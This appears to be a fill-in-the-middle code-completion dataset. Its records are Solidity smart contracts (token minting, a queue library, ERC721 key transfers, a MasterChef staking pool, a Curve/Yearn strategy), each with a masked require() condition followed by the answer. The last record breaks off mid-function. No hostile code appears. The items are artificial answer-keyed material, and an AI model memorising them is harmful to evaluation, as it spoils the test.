cost scaling. uint scaledKongAmount = RegisterInterface(_regAddress).getKongAmount(primaryPublicKeyHash) / uint(10 ** 17); // Perform work in proportion to scaledKongAmount. bytes32 powHash = blockhash(block.number); for (uint i=0; i < scaledKongAmount; i++) { powHash = keccak256(abi.encodePacked(powHash)); } // Validate signature. bytes32 messageHash = sha256(abi.encodePacked(to, blockhash(blockNumber))); require(<FILL_ME>) // Create a hash of the provided signature. bytes32 sigHash = sha256(abi.encodePacked(rs[0], rs[1])); // Store hashed signature and update index / length of array. _hashedSignaturesIndex = _hashedSignaturesArray.push(sigHash); // Update mapping with minted keys. _mintedKeys[primaryPublicKeyHash] = true; // Call minting function in Register contract. RegisterInterface(_regAddress).mintKong(primaryPublicKeyHash, to); // Emit event. emit Minted(primaryPublicKeyHash, messageHash, rs[0], rs[1]); } /** * @dev Function to validate SECP256R1 signatures. * * @param message The hash of the signed message. * @param rs R+S value of the signature. * @param publicKeyX X-coordinate of the publicKey. * @param publicKeyY Y-coordinate of the publicKey. */ function _validateSignature( bytes32 message, uint256[2] memory rs, uint256 publicKeyX, uint256 publicKeyY ) internal view returns (bool) { } /** * @dev Function to return the submitted signatures at location `index` in the array of * signatures. * * @param index Location of signature in array of hashed signatures. */ function getHashedSignature( uint256 index ) public view returns(bytes32) { } }
_validateSignature(messageHash,rs,tertiaryPublicKeyX,tertiaryPublicKeyY),'Invalid signature.'
379,863
_validateSignature(messageHash,rs,tertiaryPublicKeyX,tertiaryPublicKeyY)
"Empty"
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title QueueLib * @author Illusory Systems Inc. * @notice Library containing queue struct and operations for queue used by * Home and Replica. **/ library QueueLib { /** * @notice Queue struct * @dev Internally keeps track of the `first` and `last` elements through * indices and a mapping of indices to enqueued elements. **/ struct Queue { uint128 first; uint128 last; mapping(uint256 => bytes32) queue; } /** * @notice Initializes the queue * @dev Empty state denoted by _q.first > q._last. Queue initialized * with _q.first = 1 and _q.last = 0. **/ function initialize(Queue storage _q) internal { } /** * @notice Enqueues a single new element * @param _item New element to be enqueued * @return _last Index of newly enqueued element **/ function enqueue(Queue storage _q, bytes32 _item) internal returns (uint128 _last) { } /** * @notice Dequeues element at front of queue * @dev Removes dequeued element from storage * @return _item Dequeued element **/ function dequeue(Queue storage _q) internal returns (bytes32 _item) { uint128 _last = _q.last; uint128 _first = _q.first; require(<FILL_ME>) _item = _q.queue[_first]; if (_item != bytes32(0)) { // saves gas if we're dequeuing 0 delete _q.queue[_first]; } _q.first = _first + 1; } /** * @notice Batch enqueues several elements * @param _items Array of elements to be enqueued * @return _last Index of last enqueued element **/ function enqueue(Queue storage _q, bytes32[] memory _items) internal returns (uint128 _last) { } /** * @notice Batch dequeues `_number` elements * @dev Reverts if `_number` > queue length * @param _number Number of elements to dequeue * @return Array of dequeued elements **/ function dequeue(Queue storage _q, uint256 _number) internal returns (bytes32[] memory) { } /** * @notice Returns true if `_item` is in the queue and false if otherwise * @dev Linearly scans from _q.first to _q.last looking for `_item` * @param _item Item being searched for in queue * @return True if `_item` currently exists in queue, false if otherwise **/ function contains(Queue storage _q, bytes32 _item) internal view returns (bool) { } /// @notice Returns last item in queue /// @dev Returns bytes32(0) if queue empty function lastItem(Queue storage _q) internal view returns (bytes32) { } /// @notice Returns element at front of queue without removing element /// @dev Reverts if queue is empty function peek(Queue storage _q) internal view returns (bytes32 _item) { } /// @notice Returns true if queue is empty and false if otherwise function isEmpty(Queue storage _q) internal view returns (bool) { } /// @notice Returns number of elements in queue function length(Queue storage _q) internal view returns (uint256) { } /// @notice Returns number of elements between `_last` and `_first` (used internally) function _length(uint128 _last, uint128 _first) internal pure returns (uint256) { } }
_length(_last,_first)!=0,"Empty"
380,019
_length(_last,_first)!=0
"Insufficient"
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title QueueLib * @author Illusory Systems Inc. * @notice Library containing queue struct and operations for queue used by * Home and Replica. **/ library QueueLib { /** * @notice Queue struct * @dev Internally keeps track of the `first` and `last` elements through * indices and a mapping of indices to enqueued elements. **/ struct Queue { uint128 first; uint128 last; mapping(uint256 => bytes32) queue; } /** * @notice Initializes the queue * @dev Empty state denoted by _q.first > q._last. Queue initialized * with _q.first = 1 and _q.last = 0. **/ function initialize(Queue storage _q) internal { } /** * @notice Enqueues a single new element * @param _item New element to be enqueued * @return _last Index of newly enqueued element **/ function enqueue(Queue storage _q, bytes32 _item) internal returns (uint128 _last) { } /** * @notice Dequeues element at front of queue * @dev Removes dequeued element from storage * @return _item Dequeued element **/ function dequeue(Queue storage _q) internal returns (bytes32 _item) { } /** * @notice Batch enqueues several elements * @param _items Array of elements to be enqueued * @return _last Index of last enqueued element **/ function enqueue(Queue storage _q, bytes32[] memory _items) internal returns (uint128 _last) { } /** * @notice Batch dequeues `_number` elements * @dev Reverts if `_number` > queue length * @param _number Number of elements to dequeue * @return Array of dequeued elements **/ function dequeue(Queue storage _q, uint256 _number) internal returns (bytes32[] memory) { uint128 _last = _q.last; uint128 _first = _q.first; // Cannot underflow unless state is corrupted require(<FILL_ME>) bytes32[] memory _items = new bytes32[](_number); for (uint256 i = 0; i < _number; i++) { _items[i] = _q.queue[_first]; delete _q.queue[_first]; _first++; } _q.first = _first; return _items; } /** * @notice Returns true if `_item` is in the queue and false if otherwise * @dev Linearly scans from _q.first to _q.last looking for `_item` * @param _item Item being searched for in queue * @return True if `_item` currently exists in queue, false if otherwise **/ function contains(Queue storage _q, bytes32 _item) internal view returns (bool) { } /// @notice Returns last item in queue /// @dev Returns bytes32(0) if queue empty function lastItem(Queue storage _q) internal view returns (bytes32) { } /// @notice Returns element at front of queue without removing element /// @dev Reverts if queue is empty function peek(Queue storage _q) internal view returns (bytes32 _item) { } /// @notice Returns true if queue is empty and false if otherwise function isEmpty(Queue storage _q) internal view returns (bool) { } /// @notice Returns number of elements in queue function length(Queue storage _q) internal view returns (uint256) { } /// @notice Returns number of elements between `_last` and `_first` (used internally) function _length(uint128 _last, uint128 _first) internal pure returns (uint256) { } }
_length(_last,_first)>=_number,"Insufficient"
380,019
_length(_last,_first)>=_number
"Empty"
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title QueueLib * @author Illusory Systems Inc. * @notice Library containing queue struct and operations for queue used by * Home and Replica. **/ library QueueLib { /** * @notice Queue struct * @dev Internally keeps track of the `first` and `last` elements through * indices and a mapping of indices to enqueued elements. **/ struct Queue { uint128 first; uint128 last; mapping(uint256 => bytes32) queue; } /** * @notice Initializes the queue * @dev Empty state denoted by _q.first > q._last. Queue initialized * with _q.first = 1 and _q.last = 0. **/ function initialize(Queue storage _q) internal { } /** * @notice Enqueues a single new element * @param _item New element to be enqueued * @return _last Index of newly enqueued element **/ function enqueue(Queue storage _q, bytes32 _item) internal returns (uint128 _last) { } /** * @notice Dequeues element at front of queue * @dev Removes dequeued element from storage * @return _item Dequeued element **/ function dequeue(Queue storage _q) internal returns (bytes32 _item) { } /** * @notice Batch enqueues several elements * @param _items Array of elements to be enqueued * @return _last Index of last enqueued element **/ function enqueue(Queue storage _q, bytes32[] memory _items) internal returns (uint128 _last) { } /** * @notice Batch dequeues `_number` elements * @dev Reverts if `_number` > queue length * @param _number Number of elements to dequeue * @return Array of dequeued elements **/ function dequeue(Queue storage _q, uint256 _number) internal returns (bytes32[] memory) { } /** * @notice Returns true if `_item` is in the queue and false if otherwise * @dev Linearly scans from _q.first to _q.last looking for `_item` * @param _item Item being searched for in queue * @return True if `_item` currently exists in queue, false if otherwise **/ function contains(Queue storage _q, bytes32 _item) internal view returns (bool) { } /// @notice Returns last item in queue /// @dev Returns bytes32(0) if queue empty function lastItem(Queue storage _q) internal view returns (bytes32) { } /// @notice Returns element at front of queue without removing element /// @dev Reverts if queue is empty function peek(Queue storage _q) internal view returns (bytes32 _item) { require(<FILL_ME>) _item = _q.queue[_q.first]; } /// @notice Returns true if queue is empty and false if otherwise function isEmpty(Queue storage _q) internal view returns (bool) { } /// @notice Returns number of elements in queue function length(Queue storage _q) internal view returns (uint256) { } /// @notice Returns number of elements between `_last` and `_first` (used internally) function _length(uint128 _last, uint128 _first) internal pure returns (uint256) { } }
!isEmpty(_q),"Empty"
380,019
!isEmpty(_q)
'KEY_NOT_VALID'
pragma solidity 0.5.17; /** * @title Mixin for the transfer-related functions needed to meet the ERC721 * standard. * @author Nick Furfaro * @dev `Mixins` are a design pattern seen in the 0x contracts. It simply * separates logically groupings of code to ease readability. */ contract MixinTransfer is MixinLockManagerRole, MixinFunds, MixinLockCore, MixinKeys { using SafeMath for uint; using Address for address; event TransferFeeChanged( uint transferFeeBasisPoints ); // 0x150b7a02 == bytes4(keccak256('onERC721Received(address,address,uint256,bytes)')) bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // The fee relative to keyPrice to charge when transfering a Key to another account // (potentially on a 0x marketplace). // This is calculated as `keyPrice * transferFeeBasisPoints / BASIS_POINTS_DEN`. uint public transferFeeBasisPoints; /** * @notice Allows the key owner to safely share their key (parent key) by * transferring a portion of the remaining time to a new key (child key). * @param _to The recipient of the shared key * @param _tokenId the key to share * @param _timeShared The amount of time shared */ function shareKey( address _to, uint _tokenId, uint _timeShared ) public onlyIfAlive onlyKeyManagerOrApproved(_tokenId) { require(transferFeeBasisPoints < BASIS_POINTS_DEN, 'KEY_TRANSFERS_DISABLED'); require(_to != address(0), 'INVALID_ADDRESS'); address keyOwner = _ownerOf[_tokenId]; require(<FILL_ME>) Key storage fromKey = keyByOwner[keyOwner]; Key storage toKey = keyByOwner[_to]; uint idTo = toKey.tokenId; uint time; // get the remaining time for the origin key uint timeRemaining = fromKey.expirationTimestamp - block.timestamp; // get the transfer fee based on amount of time wanted share uint fee = getTransferFee(keyOwner, _timeShared); uint timePlusFee = _timeShared.add(fee); // ensure that we don't try to share too much if(timePlusFee < timeRemaining) { // now we can safely set the time time = _timeShared; // deduct time from parent key, including transfer fee _timeMachine(_tokenId, timePlusFee, false); } else { // we have to recalculate the fee here fee = getTransferFee(keyOwner, timeRemaining); time = timeRemaining - fee; fromKey.expirationTimestamp = block.timestamp; // Effectively expiring the key emit ExpireKey(_tokenId); } if (idTo == 0) { _assignNewTokenId(toKey); idTo = toKey.tokenId; _recordOwner(_to, idTo); emit Transfer( address(0), // This is a creation or time-sharing _to, idTo ); } else if (toKey.expirationTimestamp <= block.timestamp) { // reset the key Manager for expired keys _setKeyManagerOf(idTo, address(0)); } // add time to new key _timeMachine(idTo, time, true); // trigger event emit Transfer( keyOwner, _to, idTo ); require(_checkOnERC721Received(keyOwner, _to, _tokenId, ''), 'NON_COMPLIANT_ERC721_RECEIVER'); } function transferFrom( address _from, address _recipient, uint _tokenId ) public onlyIfAlive hasValidKey(_from) onlyKeyManagerOrApproved(_tokenId) { } /** * @notice An ERC-20 style transfer. * @param _value sends a token with _value * expirationDuration (the amount of time remaining on a standard purchase). * @dev The typical use case would be to call this with _value 1, which is on par with calling `transferFrom`. If the user * has more than `expirationDuration` time remaining this may use the `shareKey` function to send some but not all of the token. */ function transfer( address _to, uint _value ) public returns (bool success) { } /** * @notice Transfers the ownership of an NFT from one address to another address * @dev This works identically to the other function with an extra data parameter, * except this function just sets data to '' * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function safeTransferFrom( address _from, address _to, uint _tokenId ) public { } /** * @notice Transfers the ownership of an NFT from one address to another address. * When transfer is complete, this functions * checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256('onERC721Received(address,address,uint,bytes)'))`. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom( address _from, address _to, uint _tokenId, bytes memory _data ) public { } /** * Allow the Lock owner to change the transfer fee. */ function updateTransferFee( uint _transferFeeBasisPoints ) external onlyLockManager { } /** * Determines how much of a fee a key owner would need to pay in order to * transfer the key to another account. This is pro-rated so the fee goes down * overtime. * @param _keyOwner The owner of the key check the transfer fee for. */ function getTransferFee( address _keyOwner, uint _time ) public view returns (uint) { } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { } }
getHasValidKey(keyOwner),'KEY_NOT_VALID'
380,035
getHasValidKey(keyOwner)
'NON_COMPLIANT_ERC721_RECEIVER'
pragma solidity 0.5.17; /** * @title Mixin for the transfer-related functions needed to meet the ERC721 * standard. * @author Nick Furfaro * @dev `Mixins` are a design pattern seen in the 0x contracts. It simply * separates logically groupings of code to ease readability. */ contract MixinTransfer is MixinLockManagerRole, MixinFunds, MixinLockCore, MixinKeys { using SafeMath for uint; using Address for address; event TransferFeeChanged( uint transferFeeBasisPoints ); // 0x150b7a02 == bytes4(keccak256('onERC721Received(address,address,uint256,bytes)')) bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // The fee relative to keyPrice to charge when transfering a Key to another account // (potentially on a 0x marketplace). // This is calculated as `keyPrice * transferFeeBasisPoints / BASIS_POINTS_DEN`. uint public transferFeeBasisPoints; /** * @notice Allows the key owner to safely share their key (parent key) by * transferring a portion of the remaining time to a new key (child key). * @param _to The recipient of the shared key * @param _tokenId the key to share * @param _timeShared The amount of time shared */ function shareKey( address _to, uint _tokenId, uint _timeShared ) public onlyIfAlive onlyKeyManagerOrApproved(_tokenId) { require(transferFeeBasisPoints < BASIS_POINTS_DEN, 'KEY_TRANSFERS_DISABLED'); require(_to != address(0), 'INVALID_ADDRESS'); address keyOwner = _ownerOf[_tokenId]; require(getHasValidKey(keyOwner), 'KEY_NOT_VALID'); Key storage fromKey = keyByOwner[keyOwner]; Key storage toKey = keyByOwner[_to]; uint idTo = toKey.tokenId; uint time; // get the remaining time for the origin key uint timeRemaining = fromKey.expirationTimestamp - block.timestamp; // get the transfer fee based on amount of time wanted share uint fee = getTransferFee(keyOwner, _timeShared); uint timePlusFee = _timeShared.add(fee); // ensure that we don't try to share too much if(timePlusFee < timeRemaining) { // now we can safely set the time time = _timeShared; // deduct time from parent key, including transfer fee _timeMachine(_tokenId, timePlusFee, false); } else { // we have to recalculate the fee here fee = getTransferFee(keyOwner, timeRemaining); time = timeRemaining - fee; fromKey.expirationTimestamp = block.timestamp; // Effectively expiring the key emit ExpireKey(_tokenId); } if (idTo == 0) { _assignNewTokenId(toKey); idTo = toKey.tokenId; _recordOwner(_to, idTo); emit Transfer( address(0), // This is a creation or time-sharing _to, idTo ); } else if (toKey.expirationTimestamp <= block.timestamp) { // reset the key Manager for expired keys _setKeyManagerOf(idTo, address(0)); } // add time to new key _timeMachine(idTo, time, true); // trigger event emit Transfer( keyOwner, _to, idTo ); require(<FILL_ME>) } function transferFrom( address _from, address _recipient, uint _tokenId ) public onlyIfAlive hasValidKey(_from) onlyKeyManagerOrApproved(_tokenId) { } /** * @notice An ERC-20 style transfer. * @param _value sends a token with _value * expirationDuration (the amount of time remaining on a standard purchase). * @dev The typical use case would be to call this with _value 1, which is on par with calling `transferFrom`. If the user * has more than `expirationDuration` time remaining this may use the `shareKey` function to send some but not all of the token. */ function transfer( address _to, uint _value ) public returns (bool success) { } /** * @notice Transfers the ownership of an NFT from one address to another address * @dev This works identically to the other function with an extra data parameter, * except this function just sets data to '' * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function safeTransferFrom( address _from, address _to, uint _tokenId ) public { } /** * @notice Transfers the ownership of an NFT from one address to another address. * When transfer is complete, this functions * checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256('onERC721Received(address,address,uint,bytes)'))`. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom( address _from, address _to, uint _tokenId, bytes memory _data ) public { } /** * Allow the Lock owner to change the transfer fee. */ function updateTransferFee( uint _transferFeeBasisPoints ) external onlyLockManager { } /** * Determines how much of a fee a key owner would need to pay in order to * transfer the key to another account. This is pro-rated so the fee goes down * overtime. * @param _keyOwner The owner of the key check the transfer fee for. */ function getTransferFee( address _keyOwner, uint _time ) public view returns (uint) { } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { } }
_checkOnERC721Received(keyOwner,_to,_tokenId,''),'NON_COMPLIANT_ERC721_RECEIVER'
380,035
_checkOnERC721Received(keyOwner,_to,_tokenId,'')
'TRANSFER_FROM: NOT_KEY_OWNER'
pragma solidity 0.5.17; /** * @title Mixin for the transfer-related functions needed to meet the ERC721 * standard. * @author Nick Furfaro * @dev `Mixins` are a design pattern seen in the 0x contracts. It simply * separates logically groupings of code to ease readability. */ contract MixinTransfer is MixinLockManagerRole, MixinFunds, MixinLockCore, MixinKeys { using SafeMath for uint; using Address for address; event TransferFeeChanged( uint transferFeeBasisPoints ); // 0x150b7a02 == bytes4(keccak256('onERC721Received(address,address,uint256,bytes)')) bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // The fee relative to keyPrice to charge when transfering a Key to another account // (potentially on a 0x marketplace). // This is calculated as `keyPrice * transferFeeBasisPoints / BASIS_POINTS_DEN`. uint public transferFeeBasisPoints; /** * @notice Allows the key owner to safely share their key (parent key) by * transferring a portion of the remaining time to a new key (child key). * @param _to The recipient of the shared key * @param _tokenId the key to share * @param _timeShared The amount of time shared */ function shareKey( address _to, uint _tokenId, uint _timeShared ) public onlyIfAlive onlyKeyManagerOrApproved(_tokenId) { } function transferFrom( address _from, address _recipient, uint _tokenId ) public onlyIfAlive hasValidKey(_from) onlyKeyManagerOrApproved(_tokenId) { require(<FILL_ME>) require(transferFeeBasisPoints < BASIS_POINTS_DEN, 'KEY_TRANSFERS_DISABLED'); require(_recipient != address(0), 'INVALID_ADDRESS'); uint fee = getTransferFee(_from, 0); Key storage fromKey = keyByOwner[_from]; Key storage toKey = keyByOwner[_recipient]; uint previousExpiration = toKey.expirationTimestamp; // subtract the fee from the senders key before the transfer _timeMachine(_tokenId, fee, false); if (toKey.tokenId == 0) { toKey.tokenId = _tokenId; _recordOwner(_recipient, _tokenId); // Clear any previous approvals _clearApproval(_tokenId); } if (previousExpiration <= block.timestamp) { // The recipient did not have a key, or had a key but it expired. The new expiration is the sender's key expiration // An expired key is no longer a valid key, so the new tokenID is the sender's tokenID toKey.expirationTimestamp = fromKey.expirationTimestamp; toKey.tokenId = _tokenId; // Reset the key Manager to the key owner _setKeyManagerOf(_tokenId, address(0)); _recordOwner(_recipient, _tokenId); } else { // The recipient has a non expired key. We just add them the corresponding remaining time // SafeSub is not required since the if confirms `previousExpiration - block.timestamp` cannot underflow toKey.expirationTimestamp = fromKey .expirationTimestamp.add(previousExpiration - block.timestamp); } // Effectively expiring the key for the previous owner fromKey.expirationTimestamp = block.timestamp; // Set the tokenID to 0 for the previous owner to avoid duplicates fromKey.tokenId = 0; // trigger event emit Transfer( _from, _recipient, _tokenId ); } /** * @notice An ERC-20 style transfer. * @param _value sends a token with _value * expirationDuration (the amount of time remaining on a standard purchase). * @dev The typical use case would be to call this with _value 1, which is on par with calling `transferFrom`. If the user * has more than `expirationDuration` time remaining this may use the `shareKey` function to send some but not all of the token. */ function transfer( address _to, uint _value ) public returns (bool success) { } /** * @notice Transfers the ownership of an NFT from one address to another address * @dev This works identically to the other function with an extra data parameter, * except this function just sets data to '' * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer */ function safeTransferFrom( address _from, address _to, uint _tokenId ) public { } /** * @notice Transfers the ownership of an NFT from one address to another address. * When transfer is complete, this functions * checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256('onERC721Received(address,address,uint,bytes)'))`. * @param _from The current owner of the NFT * @param _to The new owner * @param _tokenId The NFT to transfer * @param _data Additional data with no specified format, sent in call to `_to` */ function safeTransferFrom( address _from, address _to, uint _tokenId, bytes memory _data ) public { } /** * Allow the Lock owner to change the transfer fee. */ function updateTransferFee( uint _transferFeeBasisPoints ) external onlyLockManager { } /** * Determines how much of a fee a key owner would need to pay in order to * transfer the key to another account. This is pro-rated so the fee goes down * overtime. * @param _keyOwner The owner of the key check the transfer fee for. */ function getTransferFee( address _keyOwner, uint _time ) public view returns (uint) { } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { } }
isKeyOwner(_tokenId,_from),'TRANSFER_FROM: NOT_KEY_OWNER'
380,035
isKeyOwner(_tokenId,_from)
"Add Pool: Already existed"
pragma solidity 0.6.12; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to DnaSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // DnaSwap must mint EXACTLY the same amount of DnaSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterChef is the master of DnaSwap. He can make DnaSwap and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once MVS is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of MVSs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accMvsPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accMvsPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. MVSs to distribute per block. uint256 lastRewardBlock; // Last block number that MVSs distribution occurs. uint256 accMvsPerShare; // Accumulated MVSs per share, times 1e12. See below. //attention: We added this lock uint256 lockEndBlock; // Earliest block number that LP token can be withdraw. uint256 rewardEndBlock; // Calculate reward before. } // The MVS TOKEN! MvsToken public mvs; // Dev address. address public devaddr; // Block number when bonus MVS period starts. uint256 public bonusStartBlock; // Block number when bonus MVS period ends. uint256 public bonusEndBlock; // MVS tokens created per block. uint256 public mvsPerBlock; // Bonus muliplier for early mvs makers. uint256 public constant BONUS_MULTIPLIER = 10; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when MVS mining starts. uint256 public startBlock; mapping(IERC20 => bool) public poolExists; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( MvsToken _mvs, address _devaddr, uint256 _mvsPerBlock, uint256 _startBlock, uint256 _bonusStartBlock, uint256 _bonusEndBlock ) public { } function poolLength() external view returns (uint256) { } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, uint256 _lockEndBlock, uint256 _rewardEndBlock, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { require(<FILL_ME>) if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, lockEndBlock: _lockEndBlock, rewardEndBlock: _rewardEndBlock, accMvsPerShare: 0 }) ); } // Update the given pool's MVS allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, uint256 _rewardEndBlock, bool _withUpdate ) public onlyOwner { } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { } // Return reward multiplier over the given _from to _to block. function getMultiplier( uint256 _from, uint256 _to, uint256 _rewardEndBlock ) public view returns (uint256) { } function getBonus(uint256 _from, uint256 _to) public view returns (uint256) { } // View function to see pending MVSs on frontend. function pendingMvs(uint256 _pid, address _user) external view returns (uint256) { } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { } // Deposit LP tokens to MasterChef for MVS allocation. function deposit(uint256 _pid, uint256 _amount) public { } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { } // Safe mvs transfer function, just in case if rounding error causes pool to not have enough MVSs. function safeMvsTransfer(address _to, uint256 _amount) internal { } // Update dev address by the previous dev. function dev(address _devaddr) public { } }
poolExists[_lpToken]==false,"Add Pool: Already existed"
380,137
poolExists[_lpToken]==false
"YVAULTWITHDRAWFAILED"
// Import interfaces for many popular DeFi projects, or add your own! //import "../interfaces/<protocol>/<Interface>.sol"; contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; ICurveFi public curvePool;// = ICurveFi(address(0x4CA9b3063Ec5866A4B82E437059D2C43d1be596F)); ICurveFi public basePool; ICrvV3 public curveToken;// = ICrvV3(address(0xb19059ebb43466C323583928285a49f558E572Fd)); address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public constant uniswapRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); VaultAPI public yvToken;// = IVaultV1(address(0x46AFc2dfBd1ea0c0760CAD8262A5838e803A37e5)); //IERC20Extended public middleToken; // the token between bluechip and curve pool uint256 public lastInvest = 0; uint256 public minTimePerInvest;// = 3600; uint256 public maxSingleInvest;// // 2 hbtc per hour default uint256 public slippageProtectionIn;// = 50; //out of 10000. 50 = 0.5% uint256 public slippageProtectionOut;// = 50; //out of 10000. 50 = 0.5% uint256 public constant DENOMINATOR = 10_000; uint8 private want_decimals; uint8 private middle_decimals; int128 public curveId; uint256 public poolSize; bool public hasUnderlying; address public metaToken; bool public withdrawProtection; constructor( address _vault, uint256 _maxSingleInvest, uint256 _minTimePerInvest, uint256 _slippageProtectionIn, address _curvePool, address _curveToken, address _yvToken, uint256 _poolSize, address _metaToken, bool _hasUnderlying ) public BaseStrategy(_vault) { } function initialize( address _vault, address _strategist, uint256 _maxSingleInvest, uint256 _minTimePerInvest, uint256 _slippageProtectionIn, address _curvePool, address _curveToken, address _yvToken, uint256 _poolSize, address _metaToken, bool _hasUnderlying ) external { } function _initializeStrat( uint256 _maxSingleInvest, uint256 _minTimePerInvest, uint256 _slippageProtectionIn, address _curvePool, address _curveToken, address _yvToken, uint256 _poolSize, address _metaToken, bool _hasUnderlying ) internal { } function _setupStatics() internal { } event Cloned(address indexed clone); function cloneSingleSidedCurve( address _vault, address _strategist, uint256 _maxSingleInvest, uint256 _minTimePerInvest, uint256 _slippageProtectionIn, address _curvePool, address _curveToken, address _yvToken, uint256 _poolSize, address _metaToken, bool _hasUnderlying ) external returns (address newStrategy){ } function name() external override view returns (string memory) { } function updateMinTimePerInvest(uint256 _minTimePerInvest) public onlyAuthorized { } function updateMaxSingleInvest(uint256 _maxSingleInvest) public onlyAuthorized { } function updateSlippageProtectionIn(uint256 _slippageProtectionIn) public onlyAuthorized { } function updateSlippageProtectionOut(uint256 _slippageProtectionOut) public onlyAuthorized { } function delegatedAssets() public override view returns (uint256) { } function estimatedTotalAssets() public override view returns (uint256) { } // returns value of total function curveTokenToWant(uint256 tokens) public view returns (uint256) { } //we lose some precision here. but it shouldnt matter as we are underestimating function virtualPriceToWant() public view returns (uint256) { } /*function virtualPriceToMiddle() public view returns (uint256) { if(middle_decimals < 18){ return curvePool.get_virtual_price().div(10 ** (uint256(uint8(18) - middle_decimals))); }else{ return curvePool.get_virtual_price(); } }*/ function curveTokensInYVault() public view returns (uint256) { } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { } function liquidateAllPositions() internal override returns (uint256 _amountFreed) { } function ethToWant(uint256 _amount) public override view returns (uint256) { } function tendTrigger(uint256 callCost) public override view returns (bool) { } function _checkSlip(uint256 _wantToInvest) public view returns (bool){ } function adjustPosition(uint256 _debtOutstanding) internal override { } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { } //safe to enter more than we have function withdrawSome(uint256 _amount) internal returns (uint256 _liquidatedAmount, 